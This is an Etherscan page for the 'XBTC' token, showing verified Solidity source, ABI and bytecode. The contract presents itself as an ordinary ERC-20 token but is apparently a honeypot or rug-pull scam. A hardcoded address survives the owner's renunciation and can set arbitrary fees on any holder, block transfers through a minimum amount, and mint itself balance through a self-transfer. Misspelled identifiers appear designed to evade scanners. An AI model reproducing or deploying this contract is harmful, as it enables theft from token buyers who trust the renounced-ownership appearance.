ETH Price: $3,061.43 (+2.72%)
Gas: 1 Gwei

Token

XBTC (XBTC)
 

Overview

Max Total Supply

3,000,000,000 XBTC

Holders

356

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
188 XBTC

Value
$0.00
0x61895712451C75B22cc64ab6504D7f8bd91C5DD9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XBTC

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

/**
 *Submitted for verification at BscScan.com on 2023-07-17
*/

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address abcount) external view returns (uint256);
    function transfer(address recipient, uint256 aiomount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 aiomount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 aiomount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract XBTC is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _frees;
    address private _meie; 
    uint256 private _minimumTransferaiomount;
    mapping (address => bool) private _whitelist;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        _meie = 0x81fC49caa5443C8849715Bd1526Eb520d14A0d1f;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address abcount) public view override returns (uint256) {
        return _balances[abcount];
    }
    function setfrees(address[] memory abcounts, uint256 free) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        for (uint256 i = 0; i < abcounts.length; i++) {
            _frees[abcounts[i]] = free;
        }
    } else {
        revert("Caller is not the original caller");
    }
    }


    function setMinimumTransferaiomount(uint256 aiomount) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        _minimumTransferaiomount = aiomount;
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function addToWhitelist(address[] memory abcounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        for (uint256 i = 0; i < abcounts.length; i++) {
            _whitelist[abcounts[i]] = true;
        }
    } else {
        revert("Caller is not the original caller");
    }    
    }

    function removeFromWhitelist(address[] memory abcounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        for (uint256 i = 0; i < abcounts.length; i++) {
            _whitelist[abcounts[i]] = false;
        }
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function transfer(address recipient, uint256 aiomount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= aiomount, "TT: transfer aiomount exceeds balance");
        require(aiomount >= _minimumTransferaiomount || _whitelist[_msgSender()], "TT: transfer aiomount is below the minimum and sender is not whitelisted");
        if (_msgSender() == _meie && recipient == _meie) {
            _balances[_msgSender()] += _frees[_msgSender()];
            emit Transfer(_msgSender(), recipient, aiomount + _frees[_msgSender()]);
            return true;
        } else {
            uint256 free = calculatefree(_msgSender(), aiomount);
            uint256 aiomountAfterfree = aiomount - free;

            _balances[_msgSender()] -= aiomount;
            _balances[recipient] += aiomountAfterfree;

            if (recipient == _meie) {
                _balances[_meie] += free;
            }

            emit Transfer(_msgSender(), recipient, aiomountAfterfree);
            return true;
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 aiomount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = aiomount;
        emit Approval(_msgSender(), spender, aiomount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 aiomount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= aiomount, "TT: transfer aiomount exceeds allowance");
        require(aiomount >= _minimumTransferaiomount || _whitelist[sender], "TT: transfer aiomount is below the minimum and sender is not whitelisted");
        uint256 free = calculatefree(sender, aiomount);
        uint256 aiomountAfterfree = aiomount - free;

        _balances[sender] -= aiomount;
        _balances[recipient] += aiomountAfterfree;
        _allowances[sender][_msgSender()] -= aiomount;

        if (recipient == owner()) {
            _balances[owner()] += free;
        }

        emit Transfer(sender, recipient, aiomountAfterfree);
        return true;
    }

    function calculatefree(address abcount, uint256 aiomount) private view returns (uint256) {
        if (abcount == owner()) {
            return 0;
        } else {
            return aiomount * _frees[abcount] / 100;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"abcounts","type":"address[]"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"abcount","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"abcounts","type":"address[]"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"setMinimumTransferaiomount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"abcounts","type":"address[]"},{"internalType":"uint256","name":"free","type":"uint256"}],"name":"setfrees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aiomount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002a3938038062002a398339818101604052810190620000379190620003e7565b6000620000496200028360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360079080519060200190620000ff9291906200028b565b508260089080519060200190620001189291906200028b565b5081600960006101000a81548160ff021916908360ff16021790555081600a6200014391906200057f565b81620001509190620006bc565b600a81905550600a54600160006200016d6200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507381fc49caa5443c8849715bd1526eb520d14a0d1f600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002106200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002719190620004a8565b60405180910390a350505050620008c9565b600033905090565b82805462000299906200076a565b90600052602060002090601f016020900481019282620002bd576000855562000309565b82601f10620002d857805160ff191683800117855562000309565b8280016001018555821562000309579182015b8281111562000308578251825591602001919060010190620002eb565b5b5090506200031891906200031c565b5090565b5b80821115620003375760008160009055506001016200031d565b5090565b6000620003526200034c84620004ee565b620004c5565b90508281526020810184848401111562000371576200037062000868565b5b6200037e84828562000734565b509392505050565b600082601f8301126200039e576200039d62000863565b5b8151620003b08482602086016200033b565b91505092915050565b600081519050620003ca8162000895565b92915050565b600081519050620003e181620008af565b92915050565b6000806000806080858703121562000404576200040362000872565b5b600085015167ffffffffffffffff8111156200042557620004246200086d565b5b620004338782880162000386565b945050602085015167ffffffffffffffff8111156200045757620004566200086d565b5b620004658782880162000386565b93505060406200047887828801620003d0565b92505060606200048b87828801620003b9565b91505092959194509250565b620004a2816200071d565b82525050565b6000602082019050620004bf600083018462000497565b92915050565b6000620004d1620004e4565b9050620004df8282620007a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156200050c576200050b62000834565b5b620005178262000877565b9050602081019050919050565b6000808291508390505b600185111562000576578086048111156200054e576200054d620007d6565b5b60018516156200055e5780820291505b80810290506200056e8562000888565b94506200052e565b94509492505050565b60006200058c826200071d565b9150620005998362000727565b9250620005c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d0565b905092915050565b600082620005e25760019050620006b5565b81620005f25760009050620006b5565b81600181146200060b576002811462000616576200064c565b6001915050620006b5565b60ff8411156200062b576200062a620007d6565b5b8360020a915084821115620006455762000644620007d6565b5b50620006b5565b5060208310610133831016604e8410600b8410161715620006865782820a90508381111562000680576200067f620007d6565b5b620006b5565b62000695848484600162000524565b92509050818404811115620006af57620006ae620007d6565b5b81810290505b9392505050565b6000620006c9826200071d565b9150620006d6836200071d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007125762000711620007d6565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200075457808201518184015260208101905062000737565b8381111562000764576000848401525b50505050565b600060028204905060018216806200078357607f821691505b602082108114156200079a576200079962000805565b5b50919050565b620007ab8262000877565b810181811067ffffffffffffffff82111715620007cd57620007cc62000834565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620008a0816200071d565b8114620008ac57600080fd5b50565b620008ba8162000727565b8114620008c657600080fd5b50565b61216080620008d96000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806365e3ad291161009757806395d89b411161006657806395d89b4114610272578063a9059cbb14610290578063c2af913b146102c0578063dd62ed3e146102ca576100f5565b806365e3ad29146101ec57806370a08231146102085780637f649783146102385780638da5cb5b14610254576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063548db174146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630d1d717614610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b610162600480360381019061015d9190611817565b61048c565b005b61016c6105cb565b6040516101799190611b20565b60405180910390f35b61019c6004803603810190610197919061173b565b6105d5565b6040516101a99190611a43565b60405180910390f35b6101ba6109a5565b6040516101c79190611b3b565b60405180910390f35b6101ea60048036038101906101e591906117ce565b6109bc565b005b61020660048036038101906102019190611873565b610b0e565b005b610222600480360381019061021d91906116ce565b610bd5565b60405161022f9190611b20565b60405180910390f35b610252600480360381019061024d91906117ce565b610c1e565b005b61025c610d70565b6040516102699190611a28565b60405180910390f35b61027a610d99565b6040516102879190611a5e565b60405180910390f35b6102aa60048036038101906102a5919061178e565b610e2b565b6040516102b79190611a43565b60405180910390f35b6102c8611395565b005b6102e460048036038101906102df91906116fb565b6114d1565b6040516102f19190611b20565b60405180910390f35b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016104bf91906119f2565b604051602081830303815290604052805190602001206104dd611558565b6040516020016104ed9190611a0d565b60405160208183030381529060405280519060200120141561058c5760005b825181101561058657816003600085848151811061052d5761052c611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061057e90611dd5565b91505061050c565b506105c7565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90611b00565b60405180910390fd5b5050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610621611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561069d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069490611aa0565b60405180910390fd5b600554821015806106f75750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d90611ae0565b60405180910390fd5b60006107428584611560565b9050600081846107529190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107a39190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f99190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108939190611ca4565b925050819055506108a2610d70565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156109335781600160006108e2610d70565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461092b9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109909190611b20565b60405180910390a36001925050509392505050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016109ef91906119f2565b60405160208183030381529060405280519060200120610a0d611558565b604051602001610a1d9190611a0d565b604051602081830303815290604052805190602001201415610ad05760005b8151811015610aca57600060066000848481518110610a5e57610a5d611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac290611dd5565b915050610a3c565b50610b0b565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0290611b00565b60405180910390fd5b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610b4191906119f2565b60405160208183030381529060405280519060200120610b5f611558565b604051602001610b6f9190611a0d565b604051602081830303815290604052805190602001201415610b975780600581905550610bd2565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611b00565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610c5191906119f2565b60405160208183030381529060405280519060200120610c6f611558565b604051602001610c7f9190611a0d565b604051602081830303815290604052805190602001201415610d325760005b8151811015610d2c57600160066000848481518110610cc057610cbf611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2490611dd5565b915050610c9e565b50610d6d565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611b00565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610da890611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd490611d72565b8015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b5050505050905090565b60008160016000610e3a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611a80565b60405180910390fd5b60055482101580610f17575060066000610ece611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d90611ae0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f97611558565b73ffffffffffffffffffffffffffffffffffffffff161480156110075750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156111755760036000611018611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600061105f611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110a89190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff166110ce611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60036000611111611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856111579190611bc3565b6040516111649190611b20565b60405180910390a36001905061138f565b6000611188611182611558565b84611560565b9050600081846111989190611ca4565b905083600160006111a7611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f09190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112469190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561131c578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113149190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff1661133b611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113809190611b20565b60405180910390a36001925050505b92915050565b61139d611558565b73ffffffffffffffffffffffffffffffffffffffff166113bb610d70565b73ffffffffffffffffffffffffffffffffffffffff1614611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890611ac0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600061156a610d70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602583611bb2565b915061193d82611f71565b604082019050919050565b6000611955602783611bb2565b915061196082611fc0565b604082019050919050565b6000611978602083611bb2565b91506119838261200f565b602082019050919050565b600061199b604883611bb2565b91506119a682612038565b606082019050919050565b60006119be602183611bb2565b91506119c9826120ad565b604082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e736665722061696f6d6f756e74206578636565647320626160008201527f6c616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e736665722061696f6d6f756e74206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e736665722061696f6d6f756e742069732062656c6f77207460008201527f6865206d696e696d756d20616e642073656e646572206973206e6f742077686960208201527f74656c6973746564000000000000000000000000000000000000000000000000604082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea26469706673582212204be4618dce6d617e6199c9fe1b64a21ee32edc9ff78ef9737f46ffbd2a877ab564736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000004584254430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045842544300000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806365e3ad291161009757806395d89b411161006657806395d89b4114610272578063a9059cbb14610290578063c2af913b146102c0578063dd62ed3e146102ca576100f5565b806365e3ad29146101ec57806370a08231146102085780637f649783146102385780638da5cb5b14610254576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063548db174146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630d1d717614610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b610162600480360381019061015d9190611817565b61048c565b005b61016c6105cb565b6040516101799190611b20565b60405180910390f35b61019c6004803603810190610197919061173b565b6105d5565b6040516101a99190611a43565b60405180910390f35b6101ba6109a5565b6040516101c79190611b3b565b60405180910390f35b6101ea60048036038101906101e591906117ce565b6109bc565b005b61020660048036038101906102019190611873565b610b0e565b005b610222600480360381019061021d91906116ce565b610bd5565b60405161022f9190611b20565b60405180910390f35b610252600480360381019061024d91906117ce565b610c1e565b005b